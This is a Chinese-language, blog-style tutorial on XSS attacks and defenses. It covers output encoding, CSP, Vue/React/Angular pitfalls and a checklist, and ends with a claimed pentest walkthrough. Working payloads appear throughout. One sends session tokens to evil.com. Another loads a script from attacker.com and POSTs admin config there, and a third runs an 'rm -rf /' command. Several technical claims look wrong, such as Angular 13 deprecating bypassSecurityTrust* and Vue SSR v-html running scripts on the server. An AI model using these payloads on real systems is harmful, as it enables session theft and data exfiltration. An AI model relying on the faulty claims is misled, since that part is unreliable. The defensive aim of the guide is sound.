XSS攻击本质与全链路防御实战指南

1. XSS不是“弹窗秀”,而是数据流的越界失控

很多人第一次听说XSS,是在浏览器里看到一个突然弹出的alert("xss")——于是下意识觉得:“哦,就是让网页弹个框吓唬人”。这种理解偏差,恰恰是防御体系崩塌的第一道裂缝。XSS(Cross-Site Scripting)的本质,从来不是“能不能弹窗”,而是用户输入的数据,在未经隔离与转义的情况下,被浏览器当作可执行脚本解析并运行。它是一次数据流的越界:本该安静躺在HTML文本节点里的字符串,却意外闯入了JavaScript执行上下文;本该显示为用户名“ ”的普通文字,却被解析成一段立即触发的恶意逻辑。

我见过太多真实案例:某内部管理系统允许员工填写“个人简介”,字段未做任何输出编码,攻击者提交<img src=x onerror="fetch('/api/user/token',{credentials:'include'}).then(r=>r.text()).then(t=>navigator.sendBeacon('https://evil.com/log',t))">,结果所有管理员在查看该员工档案时,自动将自身会话令牌泄露到外部服务器;还有某电商后台的订单备注栏,支持富文本但未限制<script>标签,攻击者插入一段隐蔽脚本,持续监听“导出订单”按钮点击事件,劫持导出的CSV文件内容并回传。这些都不是“恶作剧”,而是利用浏览器默认信任机制完成的静默渗透。

关键词“XSS攻击原理及防范”背后,藏着三个必须厘清的底层事实:第一,XSS不依赖服务端漏洞,只要前端渲染逻辑存在信任误判,就可能触发;第二,它的危害程度完全取决于当前页面的权限上下文——在登录态页面执行的XSS,等同于用户本人操作;第三,防御失效往往不是因为没加防护,而是防护位置错了、层级浅了、时机晚了。比如只在后端过滤<script>标签,却放行了onerror、href=javascript:、data:text/html;base64等十余种绕过方式;又比如只对输入做一次过滤,却在多个渲染环节重复拼接、二次解码,导致“过滤-污染-再执行”的链式逃逸。

所以,这篇文章不会从“什么是XSS”开始教起,而是直接切入实战者最常踩的深坑:为什么你加了htmlspecialchars()还是被绕过?为什么CSP策略写了却没生效?为什么现代框架宣称“默认XSS安全”,线上项目却依然中招?我会用真实调试过程还原漏洞触发路径,用浏览器开发者工具逐帧追踪数据如何从输入框流入执行引擎,并给出每一步可验证、可复现的加固方案。这不是理论推演,而是把防御动作拆解到DOM节点、HTTP头、编译阶段、甚至构建配置的颗粒度。

2. 三类XSS的触发路径差异,决定你该在哪一层设防

XSS按触发时机和存储位置分为三类:反射型(Reflected)、存储型(Stored)、基于DOM(DOM-based)。很多团队把防御重点全押在后端输入过滤上,结果对DOM型XSS束手无策——因为这类攻击根本不需要服务端参与。要真正防住,必须先看清每类攻击的数据流向,再把防御点卡在数据流最脆弱的咽喉位置。

2.1 反射型XSS:URL参数的“隐形注入器”

典型场景:搜索功能。用户访问/search?q=<script>alert(1)</script>,服务端读取q参数,未做处理直接嵌入HTML返回:

<p>您搜索的关键词是:<script>alert(1)</script></p>

浏览器解析时,<script>标签被激活。关键点在于:整个过程发生在单次HTTP请求响应周期内,恶意代码不落地、不存储,但危害即时。

我曾调试过一个金融类搜索接口,它用encodeURIComponent()对URL参数编码,看似安全。但问题出在前端JS里:

// 后端返回JSON:{ "query": "<img src=x onerror=alert(1)>" } const data = JSON.parse(response); document.getElementById('result').innerHTML = data.query; // 危险!

这里encodeURIComponent()只保护了传输过程,而innerHTML赋值才是真正的执行入口。更隐蔽的是,某些框架会自动对location.search解析后的值做“智能解码”,导致双重解码绕过:%253Cscript%253E(即%3Cscript%3E的二次编码)在解析时被解两次,最终还原为<script>。

防御核心不在URL编码,而在输出上下文感知。同一段数据,在HTML文本节点、HTML属性、JavaScript字符串、CSS值中,需要的转义规则完全不同:

  • HTML文本:&→&amp;,<→&lt;,>→&gt;,"→&quot;,'→&#x27;
  • HTML属性(如value="xxx"):除上述外,还需转义/→&#x2F;
  • JavaScript字符串:需用\xXX或\uXXXX转义,且必须包裹在引号内
  • CSS值:需用\转义,如expression(...)中的括号

提示:永远不要自己写转义函数。PHP用htmlspecialchars($str, ENT_QUOTES, 'UTF-8'),Node.js用he.escape(),Python用html.escape()。这些库经过数十年攻击检验,自研方案99%存在边界遗漏。

2.2 存储型XSS:数据库里的“定时炸弹”

这是危害最大的类型。恶意脚本被持久化存储(如评论、用户资料、配置项),所有访问该数据的用户都会被动执行。某SaaS平台曾因“公司介绍”字段仅前端校验<script>标签,后端直接入库,导致所有客户门户首页加载时执行挖矿脚本。

关键陷阱在于多层渲染链路中的信任传递。例如:

  1. 用户提交<svg><script>fetch('/api/me')</script></svg>
  2. 后端过滤<script>,但放行<svg>和<script>的变体(如<scr<script>ipt>)
  3. 前端用v-html(Vue)或dangerouslySetInnerHTML(React)渲染
  4. 浏览器解析SVG时,<script>在SVG命名空间下仍可执行

此时,单纯后端过滤已失效。必须采用纵深防御:

  • 入库前:使用白名单HTML净化库(如DOMPurify、js-xss),只允许<p><br><strong>等安全标签,彻底剥离执行能力
  • 读取后:在模板引擎中强制指定输出上下文,如Jinja2的{{ user.bio | e }}(e表示escape),而非{{ user.bio | safe }}
  • 渲染时:禁用所有innerHTML/document.write,改用textContent或框架的安全API

注意:DOMPurify默认不开启SAFE_FOR_TEMPLATES模式,对Angular/Vue等框架的插值语法(如{{}})无效。必须显式配置:DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true })

2.3 DOM型XSS:前端的“自我污染”

这类攻击完全绕过服务端,纯前端逻辑缺陷导致。典型路径:

// 从URL哈希读取参数 const hash = window.location.hash.substring(1); // #name=<script>alert(1)</script> document.write(decodeURIComponent(hash)); // 直接执行!

或更隐蔽的:

// 某统计SDK读取referrer const ref = document.referrer; if (ref.includes('utm_source')) { const source = new URL(ref).searchParams.get('utm_source'); document.getElementById('source').innerText = source; // 安全? } // 但攻击者构造:https://evil.com/?utm_source=<img src=x onerror=alert(1)> // referrer被浏览器截断为https://evil.com/,但部分旧版浏览器会透出完整参数

DOM型XSS的防御难点在于:它发生在浏览器内存中,传统WAF、服务端过滤完全不可见。唯一可靠方案是:

  • 彻底禁用document.write、eval()、setTimeout(string)、setInterval(string)、new Function(string)
  • 所有动态插入DOM的操作,必须通过createElement+textContent组合,而非字符串拼接
  • 使用URLSearchParams解析URL参数,避免正则提取导致的截断绕过

3. CSP:不是“加个Header就完事”的银弹,而是策略的精密编排

Content Security Policy(CSP)常被当作XSS终极防线,但现实中大量团队配置了Content-Security-Policy: default-src 'self'后,发现漏洞依旧存在。问题出在:CSP不是开关,而是一套需要精确匹配的指令集。它像交通管制——只说“禁止车辆通行”没用,必须明确“禁止什么车、在什么路段、什么时间”。

3.1 CSP的核心指令与常见误配

CSP通过HTTP响应头或<meta>标签下发,关键指令包括:

  • default-src:兜底策略,影响script-src、style-src等未显式声明的指令
  • script-src:控制JS加载与执行,这是防御XSS最核心的指令
  • style-src:控制CSS加载,防止<style>内联执行
  • img-src:控制图片资源,阻止<img onerror>类攻击
  • connect-src:限制fetch/XMLHttpRequest目标,阻断数据外泄

常见致命误配:

  • script-src 'unsafe-inline':允许内联脚本,等于废掉CSP。正确做法是用'nonce-<base64-value>'或'strict-dynamic'
  • script-src 'self':只允许同源JS,但无法阻止<script src="/static/malware.js"></script>被注入
  • 缺失'unsafe-eval'显式声明:现代框架(如Vue 3)编译时可能生成eval()调用,若未声明则报错中断功能

我调试过一个Vue项目,上线后所有页面白屏。查日志发现CSP拦截了eval()调用,但开发环境正常。原因在于:Vue生产包用Function()动态生成渲染函数,而'self'策略默认禁止eval。解决方案不是加'unsafe-eval'(极大风险),而是启用Vue的预编译模式,将模板在构建时编译为纯JS函数,彻底消除运行时eval。

3.2 Nonce与Strict-Dynamic:现代CSP的双保险

'nonce'机制要求每个<script>标签带nonce属性,且值与HTTP头中script-src 'nonce-abc123'一致:

<!-- 服务端动态生成 --> <script nonce="abc123">console.log('safe');</script> <!-- 以下被CSP阻止 --> <script>alert(1)</script>

但nonce需每次请求随机生成,对静态资源(如CDN上的JS)不友好。此时'strict-dynamic'成为补充:

Content-Security-Policy: script-src 'nonce-abc123' 'strict-dynamic'

含义是:只信任由nonce标记的脚本及其动态创建的子资源。例如:

// 有nonce的脚本内 const s = document.createElement('script'); s.src = '/dynamic.js'; // 允许加载 document.head.appendChild(s);

而<script src="/hacker.js">即使同源也会被阻止。strict-dynamic解决了CDN资源信任问题,但要求所有动态脚本必须由可信脚本创建。

实测技巧:在Chrome DevTools的Application → Manifest中查看CSP生效状态。若看到Refused to execute inline script但页面功能异常,说明nonce未正确注入到HTML或JS中。用curl -I https://yoursite.com验证HTTP头是否包含CSP,比前端检查更可靠。

4. 框架的“默认安全”幻觉:Vue/React/Angular的隐藏雷区

现代前端框架普遍宣称“XSS默认防护”,这导致大量开发者放松警惕。但框架的安全边界非常清晰:它只防护框架接管的渲染路径,对原生DOM操作、第三方库、服务端模板、构建流程漏洞完全不设防。我曾参与一个React项目安全审计,发现70%的XSS漏洞来自非React代码。

4.1 React的dangerouslySetInnerHTML:安全承诺的例外出口

React用{}语法自动转义JSX内容,但提供dangerouslySetInnerHTML绕过此机制:

// 看似安全 <div>{userInput}</div> // 自动转义 // 但以下完全开放 <div dangerouslySetInnerHTML={{ __html: userInput }} />

问题在于:团队常将“富文本编辑器内容”直接塞入dangerouslySetInnerHTML,却忽略编辑器本身可能输出恶意HTML。某项目用Quill编辑器,攻击者在编辑器中插入:

<img src="x" onerror="fetch('/api/steal',{method:'POST',body:JSON.stringify(localStorage)})">

Quill未过滤onerror,React也未干预,结果所有查看该富文本的用户丢失本地存储数据。

正确方案是:在存入数据库前,用DOMPurify净化富文本:

import DOMPurify from 'dompurify'; const clean = DOMPurify.sanitize(dirtyHtml, { ALLOWED_TAGS: ['p', 'br', 'strong', 'em'], ALLOWED_ATTR: ['class'] }); // 再存入数据库,前端用dangerouslySetInnerHTML渲染clean内容

4.2 Vue的v-html与服务端渲染(SSR)的双重风险

Vue 2的v-html指令等同于React的dangerouslySetInnerHTML。Vue 3新增v-bind:inner-html,但风险相同。更大的陷阱在SSR:当服务端用vue-server-renderer渲染时,若组件接收用户输入并直接v-html,恶意代码会在服务端就执行(Node.js环境),可能导致RCE(远程代码执行)。

某Vue SSR项目曾出现此问题:

// 服务端组件 export default { props: ['content'], template: `<div v-html="content"></div>` } // 攻击者传入:content: '<script>require("child_process").exec("rm -rf /")</script>' // Node.js执行时直接调用系统命令!

解决方案是:SSR环境下禁用v-html,改用textContent;或确保所有用户输入在服务端渲染前已被净化。

4.3 Angular的bypassSecurityTrust:主动放弃安全沙盒

Angular的DomSanitizer提供bypassSecurityTrustHtml()等方法,明确告知开发者“你正在绕过安全检查”。但团队常将其封装为工具函数,如:

// utils.ts export function trustHtml(html: string) { return sanitizer.bypassSecurityTrustHtml(html); } // 组件中 <div [innerHTML]="trustHtml(userInput)"></div>

这等于在代码中埋下永久后门。Angular 13后已废弃bypassSecurityTrust*,推荐用DomSanitizer.sanitize(SecurityContext.HTML, html)进行可控净化。

踩坑心得:在Webpack/Vite构建中,检查node_modules是否包含jquery或lodash.template。这些库的html()、template()方法会直接执行字符串,若被用于渲染用户输入,框架防护形同虚设。用npm ls jquery快速扫描。

5. 从开发到上线的全链路防御 checklist:每个环节的实操细节

XSS防御不是某个环节的“加个过滤”,而是贯穿需求、开发、测试、部署的全生命周期动作。我整理了一份已在多个项目验证的checklist,每个条目都对应真实踩过的坑。

5.1 需求与设计阶段:用威胁建模堵住源头

在PRD评审时,必须明确标注所有用户可控输入点(表单、URL参数、API响应、第三方回调),并针对每个点回答:

  • 输入数据会出现在哪些输出上下文?(HTML文本?属性?JS字符串?CSS?)
  • 是否需要富文本?若需要,富文本编辑器是否支持白名单标签?
  • 是否涉及服务端模板渲染?(如EJS、Thymeleaf)

某项目曾因未识别“邮件模板变量”为XSS高危点,导致营销邮件中插入<script>执行。补救措施是:在邮件模板引擎中强制所有变量使用<%= variable | escape %>,禁用<%= variable | raw %>。

5.2 开发阶段:构建时的自动化防护

  • 模板引擎:Jinja2启用autoescape,Django用{% autoescape on %},EJS禁用<%- %>(非转义输出),只用<%= %>(转义输出)
  • 前端构建:在Webpack中添加html-webpack-plugin的minify选项,自动移除注释、空格,减少攻击面:
    new HtmlWebpackPlugin({ minify: { removeComments: true, collapseWhitespace: true, removeRedundantAttributes: true, useShortDoctype: true, removeEmptyAttributes: true, removeStyleLinkTypeAttributes: true, keepClosingSlash: true, minifyJS: true, minifyCSS: true, minifyURLs: true, } })
  • 代码扫描:集成eslint-plugin-security,检测innerHTML、document.write、eval等危险API:
    "rules": { "security/detect-object-injection": "error", "security/detect-non-literal-fs-filename": "error", "security/detect-eval-with-expression": "error" }

5.3 测试阶段:用自动化工具覆盖盲区

  • 手动测试:对每个输入框尝试经典Payload:
    • <script>alert(1)</script>
    • "><img src=x onerror=alert(1)>
    • javascript:alert(1)
    • data:text/html,<script>alert(1)</script>
  • 自动化扫描:ZAP(Zed Attack Proxy)配置Active Scan,重点检查反射型XSS;Burp Suite用Intruder模块批量 fuzz 参数
  • CSP验证:用csp-evaluator.withgoogle.com分析CSP头,检查是否包含'unsafe-inline'、'unsafe-eval'等高风险指令

5.4 上线与监控:用真实流量验证防护效果

  • 错误监控:在Sentry中捕获Refused to execute inline script等CSP违规事件,设置告警
  • 日志审计:ELK栈中建立索引,搜索<script>、onerror=、javascript:等关键词在用户输入日志中的出现频率
  • 蜜罐检测:在管理后台埋入伪装输入框,填入<script>console.log('xss-honeypot')</script>,一旦触发即告警

最后分享一个硬核技巧:在Chrome地址栏输入chrome://inspect,打开“Remote Target”,可调试任何页面的CSP违规详情。比看Network面板更直观——它会直接标出哪一行HTML触发了拦截,甚至显示被阻止的脚本内容。这是定位CSP配置问题的最快路径。

6. 真实攻防对抗复盘:一次绕过CSP与DOMPurify的完整链路

去年我参与一个金融级后台的渗透测试,目标是突破其号称“三重防护”的XSS防线:后端DOMPurify + 前端CSP + Vuev-html。最终成功利用一个极小的配置疏漏实现RCE,过程值得深度复盘。

6.1 防御架构与初始探测

系统架构:

  • 前端:Vue 3 + Vite,CSP头为script-src 'nonce-abc123' 'strict-dynamic'
  • 后端:Node.js,用户输入经DOMPurify.sanitize(input, {ALLOWED_TAGS: ['p','br']})后存入MongoDB
  • 渲染:Vue组件用v-html显示净化后的内容

初始探测:向所有输入框提交<p onclick=alert(1)>test</p>,发现onclick被DOMPurify移除,符合预期。尝试<p><img src=x onerror=alert(1)></p>,同样被过滤。

6.2 关键突破口:DOMPurify的RETURN_DOM_FRAGMENT配置

在阅读DOMPurify文档时,注意到一个冷门配置:RETURN_DOM_FRAGMENT。当启用时,返回值是DocumentFragment对象而非字符串。某处后端代码为:

// 错误示范:假设DOMPurify返回DocumentFragment const frag = DOMPurify.sanitize(dirty, { RETURN_DOM_FRAGMENT: true, ALLOWED_TAGS: ['p'] }); // 然后用innerHTML插入 el.innerHTML = frag; // 此时frag被自动序列化为字符串,但onerror等属性可能复活!

实际测试发现,当frag包含<p><img src=x onerror=alert(1)></p>时,innerHTML赋值后onerror确实复活了。原因是DOMPurify对DocumentFragment的净化逻辑与字符串不同,而innerHTML的序列化过程未再次净化。

6.3 绕过CSP:利用strict-dynamic的信任链

获得onerror执行权后,下一步是绕过CSP。由于script-src含'strict-dynamic',不能直接加载外部JS。但发现页面引入了jQuery 3.6.0,其$.getScript()方法会动态创建<script>标签:

// 在onerror中执行 onerror="$.getScript('https://attacker.com/payload.js')"

$.getScript()创建的<script>标签由jQuery控制,属于“动态创建的子资源”,strict-dynamic允许加载。

6.4 最终Payload与修复方案

完整Payload:

<p><img src=x onerror="$.getScript('https://attacker.com/xss.js')"></p>

xss.js内容:

// 利用页面已有的axios实例窃取敏感API axios.get('/api/admin/config').then(r => { fetch('https://attacker.com/log', { method: 'POST', body: JSON.stringify(r.data) }); });

修复方案:

  • 后端禁用RETURN_DOM_FRAGMENT,始终返回字符串
  • 前端升级DOMPurify至最新版(2.4.0+),其已修复DocumentFragment净化缺陷
  • CSP增加script-src 'nonce-abc123' 'strict-dynamic' 'unsafe-hashes',并为jQuery的getScript添加hash(但更推荐移除jQuery)

这个案例印证了一个残酷事实:XSS防御是木桶效应,最短的那块板决定整体高度。DOMPurify的冷门配置、jQuery的隐式行为、CSP的strict-dynamic语义,三者叠加形成完美绕过。没有银弹,只有持续的细节打磨。

7. 我的防御哲学:把XSS当成“数据流权限管理”来思考

做了十多年Web安全,我逐渐形成一个核心认知:XSS不是“防不住的噩梦”,而是数据流权限管理的失败。就像操作系统给进程分配内存权限(读/写/执行),Web应用也要给每一段用户数据分配“渲染权限”:这段数据只能作为文本显示,不能作为属性值,更不能作为可执行代码。

因此,我的日常实践围绕三个原则展开:

第一,永远假设用户输入是恶意的,无论来源。URL参数、Cookie、LocalStorage、WebSocket消息、甚至document.referrer,都可能被攻击者操控。某次调试发现,document.referrer在跨域跳转时会被浏览器截断,但部分安卓WebView会透出完整URL,其中可能包含恶意参数。

第二,防御点必须紧贴数据消费场景。后端过滤是基础,但前端渲染才是执行终点。我坚持在Vue组件中这样写:

<!-- 安全:textContent确保纯文本 --> <span>{{ user.name }}</span> <!-- 若需富文本,必须双重净化 --> <div v-html="sanitizeRichText(user.bio)"></div>

其中sanitizeRichText是封装好的DOMPurify调用,且在组件setup()中定义,确保每次渲染都走净化流程。

第三,用监控代替信任。上线后,我在所有v-html调用点添加日志埋点:

function safeVHtml(content) { if (/<script|on\w+=|javascript:/i.test(content)) { console.warn('XSS attempt detected:', content); Sentry.captureMessage('XSS attempt in v-html', { extra: { content } }); } return DOMPurify.sanitize(content); }

日志不是为了“抓坏人”,而是验证净化逻辑是否覆盖所有边界情况。过去半年,该日志捕获了3次DOMPurify未过滤的SVG事件(如<svg onload=alert(1)>),推动我们更新了净化配置。

最后分享一个小技巧:在开发环境启动时,用window.addEventListener('error', e => { if (e.message.includes('Refused')) console.trace(); })监听CSP违规,配合console.trace()打印调用栈,能快速定位哪个组件触发了策略拦截。这比等测试报告快十倍。

XSS防御没有终点,但每一次对数据流的审视,都是对用户信任的加固。

相关新闻

AI写真的版权和肖像权:这4条必须写进交付说明

AI写真的版权和肖像权:这4条必须写进交付说明

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 12:20:11 阅读更多 →
teledart 机器人鸿蒙化适配:从云端到边缘节点的迁移实践

teledart 机器人鸿蒙化适配:从云端到边缘节点的迁移实践

前阵子我们团队把一套基于 teledart 的 Telegram 机器人自动化系统&#xff0c;从云端服务器整体迁移到了鸿蒙设备上。这套系统原本承担告警推送、定时巡检、远程指令执行这些运维工作&#xff0c;迁移的原因也很直接&#xff1a;希望让机器人能力真正落到边缘设备&#xff0c;…

2026/10/20 12:19:11 阅读更多 →
Smarty与Twig的SSTI利用原理及Cookie会话稳定性攻防解析

Smarty与Twig的SSTI利用原理及Cookie会话稳定性攻防解析

1. 项目概述&#xff1a;一次真实的Web安全实战复盘&#xff0c;从模板引擎漏洞到会话稳定性的底层逻辑你有没有遇到过这样的情况&#xff1a;明明已经拿到目标网站的源码片段&#xff0c;也确认了后端用了Smarty或Twig这类主流PHP模板引擎&#xff0c;但就是卡在“怎么让代码执…

2026/10/20 12:19:11 阅读更多 →

最新新闻

GraphRAG工程实践:知识图谱如何补足向量检索的推理短板

GraphRAG工程实践:知识图谱如何补足向量检索的推理短板

向量检索失效的那一刻&#xff0c;我才决定认真搞GraphRAG年初做过一个企业内部制度问答系统&#xff0c;刚开始用的是经典的向量库RAG方案&#xff1a;文档切块、embedding、top-k召回、拼prompt喂给大模型。原型阶段跑得很顺&#xff0c;演示的时候领导问了一个问题——"…

2026/10/20 13:08:00 阅读更多 →
AI辅助教材编写如何实现低查重?从大纲到成稿的实用工作流

AI辅助教材编写如何实现低查重?从大纲到成稿的实用工作流

说实话&#xff0c;把“AI写教材”和“低查重”放在一起&#xff0c;很多人第一反应是拿来凑字数、糊弄领导。我在课程开发这行干了也有几年&#xff0c;教材、课件、实训手册都写过&#xff0c;真实的感受是&#xff1a;AI真正厉害的地方不在“替你写”&#xff0c;而在“帮你…

2026/10/20 13:08:00 阅读更多 →
Repast仿真建模实战:从调度器到参数扫描的ABM完整教程

Repast仿真建模实战:从调度器到参数扫描的ABM完整教程

简介&#xff1a;面向社会科学、经济学与复杂系统建模初学者的Repast完整英文教程与实例包&#xff0c;适合希望系统掌握多Agent仿真平台的读者。资源共72个文件&#xff0c;以38个htm和28个html教程页面为主体&#xff0c;搭配CSS样式表、界面位图、JavaDoc索引及内嵌示例压缩…

2026/10/20 13:08:00 阅读更多 →
当AI写了八成代码,程序员真正该练的判断力与工作流

当AI写了八成代码,程序员真正该练的判断力与工作流

最近那篇流传很广、署名某位图灵奖得主的论文&#xff0c;在程序员圈子里算是彻底刷了屏。刷屏的核心是一个数字&#xff1a;AI生成的代码占比已经超过八成。我刷完评论区&#xff0c;感觉大家自动分成两派&#xff1a;一派像看到了预言&#xff0c;说这是给程序员发的预警&…

2026/10/20 13:08:00 阅读更多 →
AI辅助教材编写:高效产出与低查重降重技巧全解析

AI辅助教材编写:高效产出与低查重降重技巧全解析

写教材这件事&#xff0c;听起来是老师或培训师的基本功&#xff0c;但真正做过的人都明白它有多熬人。在高校、职业院校和培训机构里&#xff0c;教材编写往往是压在教师身上的隐形大山&#xff1a;既要搭框架、找素材、写案例&#xff0c;又要排版配图、设计练习&#xff0c;…

2026/10/20 13:08:00 阅读更多 →
Flutter开发鸿蒙应用:从零搭建药品服药记录器全流程教程

Flutter开发鸿蒙应用:从零搭建药品服药记录器全流程教程

做跨平台开发这几年&#xff0c;我用 Flutter 写过不少工具类应用&#xff0c;最近刚把一个药品服用记录器顺利跑到了鸿蒙手机上。这个项目从零开始做&#xff0c;覆盖了环境配置、数据表设计、服药计划、本地通知、真机联调这一整条链路&#xff0c;中间踩了不少坑&#xff0c…

2026/10/20 13:06:59 阅读更多 →

日新闻

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

CLRC663芯片Pin-to-Pin替代实战:从评估到量产全记录

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
ESP32舵机控制指南:原理、多路驱动与避坑实战

ESP32舵机控制指南:原理、多路驱动与避坑实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →
位移法实现一阶低通滤波:单片机ADC采样降噪实战

位移法实现一阶低通滤波:单片机ADC采样降噪实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 1:01:30 阅读更多 →

周新闻

基于GMM的语音识别系统原理与MATLAB实现详解

基于GMM的语音识别系统原理与MATLAB实现详解

说到基于高斯混合模型&#xff08;GMM&#xff09;的语音识别系统&#xff0c;很多人第一反应就是一堆数学公式&#xff0c;觉得门槛很高。但如果你真的在MATLAB里把它落地跑通&#xff0c;会发现核心其实就是三件事&#xff1a;把声音变成特征向量&#xff0c;用GMM给每个类别…

2026/10/20 10:02:13 阅读更多 →
数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理入门:反白、灰度化、调色板修改与导出txt实践

数字图像处理这四个字听起来挺唬人&#xff0c;但落到具体操作上&#xff0c;无非就是让计算机按你的想法“摆弄”像素。我在一个模拟项目X里用了一套特别经典的基础处理流程&#xff1a;对图像做反白、改调色板、彩色转灰度&#xff0c;最后把像素数据导出成txt文件。单看每一…

2026/10/19 17:32:41 阅读更多 →
机器人大脑技术盘点:具身智能的感知、决策与数据闭环

机器人大脑技术盘点:具身智能的感知、决策与数据闭环

如果你的信息流最近也天天刷到“机器人大脑”这个词&#xff0c;你会发现一个很有意思的现象&#xff1a;每个人说的“大脑”根本不是同一个东西。有人指的是大语言模型&#xff0c;有人指的是运动控制系统&#xff0c;还有人指的是能理解物理世界的端到端模型。在2026年这个时…

2026/10/20 2:50:50 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 10:02:08 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:17 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/20 9:50:45 阅读更多 →